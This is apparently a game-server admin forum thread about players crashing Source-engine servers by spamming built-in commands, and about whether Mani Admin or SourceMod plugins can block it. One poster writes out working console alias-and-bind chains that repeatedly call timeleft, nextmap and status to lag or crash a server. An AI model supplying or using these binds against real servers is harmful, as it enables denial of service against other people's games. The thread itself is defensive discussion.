well, mani admins chat spam is lacking for preventing crashes if the bind is many times all at once..

can someone do a script that is a player sends like "say timeleft;say timeleft;" etc it just autobans them for attempting to crash the server?

same with "say nextmap;say nextmap;" and "say thetime;say thetime;" and "say currentmap;say currentmap;"

if it is said once it should be allowed, but twice or more an autoban.

anyone have the time? this would be a great asset to dual mani / sourcemod servers.

I will agree with this one. The more protection scripts we have for the servers, the better.

By default doesn't SourceMod have chat flood protection?

they are not flooding via chat, grimz example is the weak way they try to take down the server. btw grimz i spoke with bail on this a few months back and its a valve issue as SM nor any other admin plugin can detect cmds built into the source engine when used via a bind.

examples:
alias "1" "timeleft;nextmap"
alias "-" "timeleft;status"

it can only catch something from a third party plugin like mani

sio

so in other words this is impossible? but it is mani and sm that are using it.. not the source engine.. i am lost here bud, that doesnt make sense.

create a vanilla server and timeleft and status and you will lag your server. better yet let me put the exploit out in the open in different variants and then let you try to figure out which ones are valve issues.

alias "-" "timeleft;nextmap"
alias "=" "-;-;-;-;-;-;-;-;-;-"
alias "/" "=;=;="
bind "[" "/;/;/;="
cl_timeout 9999

alias "-" "timeleft;status"
alias "=" "-;-;-;-;-;-;-;-;-;-"
alias "/" "=;=;="
bind "[" "/;/;/;="
cl_timeout 9999

alright man, ill try this today.

i hope you aren't right, but it sounds like you have already tried this, that worries me..

[siosios]

me and porsche from TnB tested this on my reg office that still has mani installed for basic fuctions. i turned off the functions in mani for next map and what not but if they change thier cmds to be only source server cmds then nothing can be done by any third party plugins.... valve has to fix it.
